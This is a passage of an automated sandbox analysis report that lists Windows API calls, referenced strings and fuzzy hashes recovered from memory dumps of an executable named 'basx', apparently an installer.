                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: AddressExchangeHandleInterlockedModuleProc$ChangeFilterMessageWindow
                                                                                          • String ID: ChangeWindowMessageFilterEx$user32.dll
                                                                                          • API String ID: 142928637-2676053874
                                                                                          • Opcode ID: 2e6935975283b392abf6eb535232e6e33c7297ce4864da2c850d0b2669d54df9
                                                                                          • Instruction ID: 20967f7a279d57b19857f2ad39d34e10c6be6de8430a8d3efc5b40b14e24a4c3
                                                                                          • Opcode Fuzzy Hash: 2e6935975283b392abf6eb535232e6e33c7297ce4864da2c850d0b2669d54df9
                                                                                          • Instruction Fuzzy Hash: 99E092A1741B20EAEA10B7B67C86FAA2658EB1076DF500037F100A51F1C3BD1C80CE9E
                                                                                          APIs
                                                                                          • LoadLibraryA.KERNEL32(oleacc.dll,?,0044F089), ref: 0044C7EB
                                                                                          • GetProcAddress.KERNEL32(00000000,LresultFromObject), ref: 0044C7FC
                                                                                          • GetProcAddress.KERNEL32(00000000,CreateStdAccessibleObject), ref: 0044C80C
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: AddressProc$LibraryLoad
                                                                                          • String ID: CreateStdAccessibleObject$LresultFromObject$oleacc.dll
                                                                                          • API String ID: 2238633743-1050967733
                                                                                          • Opcode ID: 580db4225bb49e0f2395934ae602c4dd6ca827d8c76c18c7318a842ee4a54372
                                                                                          • Instruction ID: d6497c9818d993b67a5702c7731996643d684f189bbd4b702b1f6e54e13363b7
                                                                                          • Opcode Fuzzy Hash: 580db4225bb49e0f2395934ae602c4dd6ca827d8c76c18c7318a842ee4a54372
                                                                                          • Instruction Fuzzy Hash: 50F0DA70282305CAE750BBB5FDD57263694E3A470AF18277BE841551A2C7B94844CB8C
                                                                                          APIs
                                                                                          • GetModuleHandleA.KERNEL32(kernel32.dll,?,00498C24), ref: 00478C26
                                                                                          • GetProcAddress.KERNEL32(00000000,VerSetConditionMask), ref: 00478C33
                                                                                          • GetProcAddress.KERNEL32(00000000,VerifyVersionInfoW), ref: 00478C43
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: AddressProc$HandleModule
                                                                                          • String ID: VerSetConditionMask$VerifyVersionInfoW$kernel32.dll
                                                                                          • API String ID: 667068680-222143506
                                                                                          • Opcode ID: 81267d710db967c56e7e702a34d1e8b60bf08845a808e06a5f27e56110be3c01
                                                                                          • Instruction ID: 32a0137ea675787c0bb1f7a77b9c903aea73f6d33f3aa717a8ad139b0a70eb03
                                                                                          • Opcode Fuzzy Hash: 81267d710db967c56e7e702a34d1e8b60bf08845a808e06a5f27e56110be3c01
                                                                                          • Instruction Fuzzy Hash: 4DC0C9F02C1700EEAA01B7B11DCAA7A255CC500728320843F7049BA182D97C0C104F3C
                                                                                          APIs
                                                                                          • GetFocus.USER32 ref: 0041B57E
                                                                                          • GetDC.USER32(?), ref: 0041B58A
                                                                                          • GetDeviceCaps.GDI32(?,00000068), ref: 0041B5A6
                                                                                          • GetSystemPaletteEntries.GDI32(?,00000000,00000008,?), ref: 0041B5C3
                                                                                          • GetSystemPaletteEntries.GDI32(?,00000000,00000008,?), ref: 0041B5DA
                                                                                          • ReleaseDC.USER32(?,?), ref: 0041B626
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: EntriesPaletteSystem$CapsDeviceFocusRelease
                                                                                          • String ID:
                                                                                          • API String ID: 2502006586-0
                                                                                          • Opcode ID: e956e6ae92597662ed98b2f51c6b506043ab8b509e5ceb21f610fa5f8f95298e
                                                                                          • Instruction ID: 1753bd22f5710d4f749a3cf2d8329d0f84e6490acb09e3fae29671003709e3a5
                                                                                          • Opcode Fuzzy Hash: e956e6ae92597662ed98b2f51c6b506043ab8b509e5ceb21f610fa5f8f95298e
                                                                                          • Instruction Fuzzy Hash: D0410631A04258AFDF10DFA9C885AAFBBB4EF59704F1484AAF500EB351D3389D51CBA5
                                                                                          APIs
                                                                                          • SetLastError.KERNEL32(00000057,00000000,0045D118,?,?,?,?,00000000), ref: 0045D0B7
                                                                                          • SetLastError.KERNEL32(00000000,00000002,?,?,?,0045D184,?,00000000,0045D118,?,?,?,?,00000000), ref: 0045D0F6
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: ErrorLast
                                                                                          • String ID: CLASSES_ROOT$CURRENT_USER$MACHINE$USERS
                                                                                          • API String ID: 1452528299-1580325520
                                                                                          • Opcode ID: 44daac30ba6290961f85a10f910adeebe56024b8db7d764ffa7b36a0de599fb3
                                                                                          • Instruction ID: 81e1e27ad3ae8d1ea1d6b81b4c13ff0be47bc54c17845d393ef4ad8e2f10c1e8
                                                                                          • Opcode Fuzzy Hash: 44daac30ba6290961f85a10f910adeebe56024b8db7d764ffa7b36a0de599fb3
                                                                                          • Instruction Fuzzy Hash: 2C117535A04608AFD731DA91C942B9EB6ADDF4470AF6040776D00572C3D67C5F0B992E
                                                                                          APIs
                                                                                          • GetSystemMetrics.USER32(0000000B), ref: 0041BDD5
                                                                                          • GetSystemMetrics.USER32(0000000C), ref: 0041BDDF
                                                                                          • GetDC.USER32(00000000), ref: 0041BDE9
                                                                                          • GetDeviceCaps.GDI32(00000000,0000000E), ref: 0041BE10
                                                                                          • GetDeviceCaps.GDI32(00000000,0000000C), ref: 0041BE1D
                                                                                          • ReleaseDC.USER32(00000000,00000000), ref: 0041BE56
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: CapsDeviceMetricsSystem$Release
                                                                                          • String ID:
                                                                                          • API String ID: 447804332-0
                                                                                          • Opcode ID: 3bdc6123dd6674b0137b7fef1a93c0b96d54f33e4692062cf67464f69f8f60e7
                                                                                          • Instruction ID: d5b995c8e3894394b735eabd433659eae54025482fea58e306a85006fdca5b97
                                                                                          • Opcode Fuzzy Hash: 3bdc6123dd6674b0137b7fef1a93c0b96d54f33e4692062cf67464f69f8f60e7
                                                                                          • Instruction Fuzzy Hash: E5212A74E04648AFEB00EFA9C941BEEB7B4EB48714F10846AF514B7690D7785940CB69
                                                                                          APIs
                                                                                          • GetWindowLongA.USER32(?,000000EC), ref: 0047E766
                                                                                          • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000097,?,000000EC,?,0046CD49), ref: 0047E78C
                                                                                          • GetWindowLongA.USER32(?,000000EC), ref: 0047E79C
                                                                                          • SetWindowLongA.USER32(?,000000EC,00000000), ref: 0047E7BD
                                                                                          • ShowWindow.USER32(?,00000005,?,000000EC,00000000,?,000000EC,?,00000000,00000000,00000000,00000000,00000000,00000097,?,000000EC), ref: 0047E7D1
                                                                                          • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000057,?,000000EC,00000000,?,000000EC,?,00000000,00000000,00000000), ref: 0047E7ED
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Window$Long$Show
                                                                                          • String ID:
                                                                                          • API String ID: 3609083571-0
                                                                                          • Opcode ID: ff63fb1e20feffedf8b27b7393a281f73df7108790e31fa3444cbd3f3be65d10
                                                                                          • Instruction ID: 463a5c2536fff799c7bf7cf61cbf8045bc8b98cac2b0bb45a0840e8ed8c25010
                                                                                          • Opcode Fuzzy Hash: ff63fb1e20feffedf8b27b7393a281f73df7108790e31fa3444cbd3f3be65d10
                                                                                          • Instruction Fuzzy Hash: 53010CB5641210ABEA00D769DE81F6637D8AB1C320F0943A6B959DF3E3C738EC408B49
                                                                                          APIs
                                                                                            • Part of subcall function 0041A6E0: CreateBrushIndirect.GDI32 ref: 0041A74B
                                                                                          • UnrealizeObject.GDI32(00000000), ref: 0041B27C
                                                                                          • SelectObject.GDI32(?,00000000), ref: 0041B28E
                                                                                          • SetBkColor.GDI32(?,00000000), ref: 0041B2B1
                                                                                          • SetBkMode.GDI32(?,00000002), ref: 0041B2BC
                                                                                          • SetBkColor.GDI32(?,00000000), ref: 0041B2D7
                                                                                          • SetBkMode.GDI32(?,00000001), ref: 0041B2E2
                                                                                            • Part of subcall function 0041A058: GetSysColor.USER32(?), ref: 0041A062
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Color$ModeObject$BrushCreateIndirectSelectUnrealize
                                                                                          • String ID:
                                                                                          • API String ID: 3527656728-0
                                                                                          • Opcode ID: 90af7722afa79acc590a6ee3060039fb524340e2cf7ce152cccbdcb584e8dbde
                                                                                          • Instruction ID: d03b18a2b949c207061bd18b8e5d47ed8ce294e6be165222704fda36eef26a4f
                                                                                          • Opcode Fuzzy Hash: 90af7722afa79acc590a6ee3060039fb524340e2cf7ce152cccbdcb584e8dbde
                                                                                          • Instruction Fuzzy Hash: 56F0CD756015009BDE00FFAAD9CBE4B3B989F043097048496B908DF187CA3CD8649B3A
                                                                                          APIs
                                                                                          • CreateFileA.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,.tmp,!nI,_iu,?,00000000,004539F6), ref: 004539AB
                                                                                          • CloseHandle.KERNEL32(00000000,00000000,C0000000,00000000,00000000,00000002,00000080,00000000,.tmp,!nI,_iu,?,00000000,004539F6), ref: 004539BB
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: CloseCreateFileHandle
                                                                                          • String ID: !nI$.tmp$_iu
                                                                                          • API String ID: 3498533004-584216493
                                                                                          • Opcode ID: 1dee75e2bfc2da78c26475f080e8b0a4db6a1a73d39b0bf1d20dabbe4352c150
                                                                                          • Instruction ID: 7da7e9bbb2667b7856572ae533a3071efe8e017fb0344d9459fa270775feb22d
                                                                                          • Opcode Fuzzy Hash: 1dee75e2bfc2da78c26475f080e8b0a4db6a1a73d39b0bf1d20dabbe4352c150
                                                                                          • Instruction Fuzzy Hash: 1831C5B0A00249ABCB11EF95D842B9EBBB4AF44345F20453AF810B73C2D7785F058B69
                                                                                          APIs
                                                                                            • Part of subcall function 004242C4: SetWindowTextA.USER32(?,00000000), ref: 004242DC
                                                                                          • ShowWindow.USER32(?,00000005,00000000,00497FC1,?,?,00000000), ref: 00497D92
                                                                                            • Part of subcall function 0042D8C4: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0042D8D7
                                                                                            • Part of subcall function 004072A8: SetCurrentDirectoryA.KERNEL32(00000000,?,00497DBA,00000000,00497F8D,?,?,00000005,00000000,00497FC1,?,?,00000000), ref: 004072B3
                                                                                            • Part of subcall function 0042D44C: GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,0042D4DA,?,?,?,00000001,?,0045607E,00000000,004560E6), ref: 0042D481
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: DirectoryWindow$CurrentFileModuleNameShowSystemText
                                                                                          • String ID: .dat$.msg$IMsg$Uninstall
                                                                                          • API String ID: 3312786188-1660910688
                                                                                          • Opcode ID: f79b411802c9da3a9116882e1755ce4b3781acbc659f3f1c23c36e526850363e
                                                                                          • Instruction ID: abb28459e614be91aca1b68aa70fad33032f6e559e3bf784a216f74f74fa669e
                                                                                          • Opcode Fuzzy Hash: f79b411802c9da3a9116882e1755ce4b3781acbc659f3f1c23c36e526850363e
                                                                                          • Instruction Fuzzy Hash: 89314F34A14114AFCB00EF65DD9296E7BB5EF89314F91857AF800AB395DB38BD01CB68
                                                                                          APIs
                                                                                          • GetModuleHandleA.KERNEL32(user32.dll,ShutdownBlockReasonCreate), ref: 0042EADA
                                                                                          • GetProcAddress.KERNEL32(00000000,user32.dll), ref: 0042EAE0
                                                                                          • MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000FFF,00000000,user32.dll,ShutdownBlockReasonCreate), ref: 0042EB09
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: AddressByteCharHandleModuleMultiProcWide
                                                                                          • String ID: ShutdownBlockReasonCreate$user32.dll
                                                                                          • API String ID: 828529508-2866557904
                                                                                          • Opcode ID: eb577c3347fbf9fd6a249885fcfc34f4074b2fa1c1d8d6afc25abb851ecf655c
                                                                                          • Instruction ID: 7e091cf0cf0c4dae12ae48626bdfb721f4796128e550bb25d34418d77cfbcdd5
                                                                                          • Opcode Fuzzy Hash: eb577c3347fbf9fd6a249885fcfc34f4074b2fa1c1d8d6afc25abb851ecf655c
                                                                                          • Instruction Fuzzy Hash: 70F0C8D034061136E620B57F5C82F7B598C8F94759F140436B109E62C2D96CA905426E
                                                                                          APIs
                                                                                          • RtlInitializeCriticalSection.KERNEL32(0049B420,00000000,00401A82,?,?,0040222E,0222C26C,00003D90,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 004019E2
                                                                                          • RtlEnterCriticalSection.KERNEL32(0049B420,0049B420,00000000,00401A82,?,?,0040222E,0222C26C,00003D90,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 004019F5
                                                                                          • LocalAlloc.KERNEL32(00000000,00000FF8,0049B420,00000000,00401A82,?,?,0040222E,0222C26C,00003D90,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 00401A1F
                                                                                          • RtlLeaveCriticalSection.KERNEL32(0049B420,00401A89,00000000,00401A82,?,?,0040222E,0222C26C,00003D90,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 00401A7C
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: CriticalSection$AllocEnterInitializeLeaveLocal
                                                                                          • String ID: xV
                                                                                          • API String ID: 730355536-2633863268
                                                                                          • Opcode ID: 303ccfa916ee30606edfd417ee1dfeae8d79d4aa2781d0ec5268568314661242
                                                                                          • Instruction ID: 91310e2de28581c92a9b529d79901d52005bdf0b1253609ef7109df0d78d257f
                                                                                          • Opcode Fuzzy Hash: 303ccfa916ee30606edfd417ee1dfeae8d79d4aa2781d0ec5268568314661242
                                                                                          • Instruction Fuzzy Hash: D001A1706482409EE719AB69BA467253FD4D795B48F11803BF840A6BF3C77C4440EBAD
                                                                                          APIs
                                                                                          • MsgWaitForMultipleObjects.USER32(00000001,00000001,00000000,000000FF,000000FF), ref: 00458028
                                                                                          • GetExitCodeProcess.KERNEL32(?,?), ref: 00458049
                                                                                          • CloseHandle.KERNEL32(?,0045807C), ref: 0045806F
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: CloseCodeExitHandleMultipleObjectsProcessWait
                                                                                          • String ID: GetExitCodeProcess$MsgWaitForMultipleObjects
                                                                                          • API String ID: 2573145106-3235461205
                                                                                          • Opcode ID: f4b7924840392a1c056809c60f673386a353f05297e24ea8de8fb179b7d06f04
                                                                                          • Instruction ID: 2f0632834368beac7d1c7250186d6a5b4d0e74160b608b18ba1b2b0c741dc3d5
                                                                                          • Opcode Fuzzy Hash: f4b7924840392a1c056809c60f673386a353f05297e24ea8de8fb179b7d06f04
                                                                                          • Instruction Fuzzy Hash: 8101A231600204AFD710EBA98C02A5A73A8EB49B25F51407BFC10E73D3DE399E08965D
                                                                                          APIs
                                                                                          • GetModuleHandleA.KERNEL32(user32.dll,ChangeWindowMessageFilter,?,0042EA70,00000004,00499934,004571F1,00457594,00457148,00000000,00000B06,00000000,00000000,00000001,00000000,00000002), ref: 0042E9C2
                                                                                          • GetProcAddress.KERNEL32(00000000,user32.dll), ref: 0042E9C8
                                                                                          • InterlockedExchange.KERNEL32(0049B660,00000001), ref: 0042E9D9
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: AddressExchangeHandleInterlockedModuleProc
                                                                                          • String ID: ChangeWindowMessageFilter$user32.dll
                                                                                          • API String ID: 3478007392-2498399450
                                                                                          • Opcode ID: 3254194633b527647525dea76c004eb0f33bc99a9c522dc813bf1be520244ffe
                                                                                          • Instruction ID: c922fa4e85abb1c6873f36dcd01b6443d81c66d6c3501223796626af46e79b09
                                                                                          • Opcode Fuzzy Hash: 3254194633b527647525dea76c004eb0f33bc99a9c522dc813bf1be520244ffe
                                                                                          • Instruction Fuzzy Hash: 5CE0ECB2740324EADA103B627E8AF663558E724B19F50043BF001751F1C7FD1C80CA9E
                                                                                          APIs
                                                                                          • GetWindowThreadProcessId.USER32(00000000), ref: 00477B9C
                                                                                          • GetModuleHandleA.KERNEL32(user32.dll,AllowSetForegroundWindow,00000000,?,?,00477C93,0049C0A8,00000000), ref: 00477BAF
                                                                                          • GetProcAddress.KERNEL32(00000000,user32.dll), ref: 00477BB5
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: AddressHandleModuleProcProcessThreadWindow
                                                                                          • String ID: AllowSetForegroundWindow$user32.dll
                                                                                          • API String ID: 1782028327-3855017861
                                                                                          • Opcode ID: 0c48b0152dcd94fde7082f0574e48419f86d5c04df14efc0ca492c8631bf730a
                                                                                          • Instruction ID: d51ed2a8d8be4cb67b0f2e6afaff03014389f5b4c9f6752a27b175deb1fe6994
                                                                                          • Opcode Fuzzy Hash: 0c48b0152dcd94fde7082f0574e48419f86d5c04df14efc0ca492c8631bf730a
                                                                                          • Instruction Fuzzy Hash: D7D0C790248701B9D910B3F64D46E9F3A5D894471CB50C47BB418E61C5DA7CFD04893D
                                                                                          APIs
                                                                                          • BeginPaint.USER32(00000000,?), ref: 00416C52
                                                                                          • SaveDC.GDI32(?), ref: 00416C83
                                                                                          • ExcludeClipRect.GDI32(?,?,?,?,?,?,00000000,00416D45), ref: 00416CE4
                                                                                          • RestoreDC.GDI32(?,?), ref: 00416D0B
                                                                                          • EndPaint.USER32(00000000,?,00416D4C,00000000,00416D45), ref: 00416D3F
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
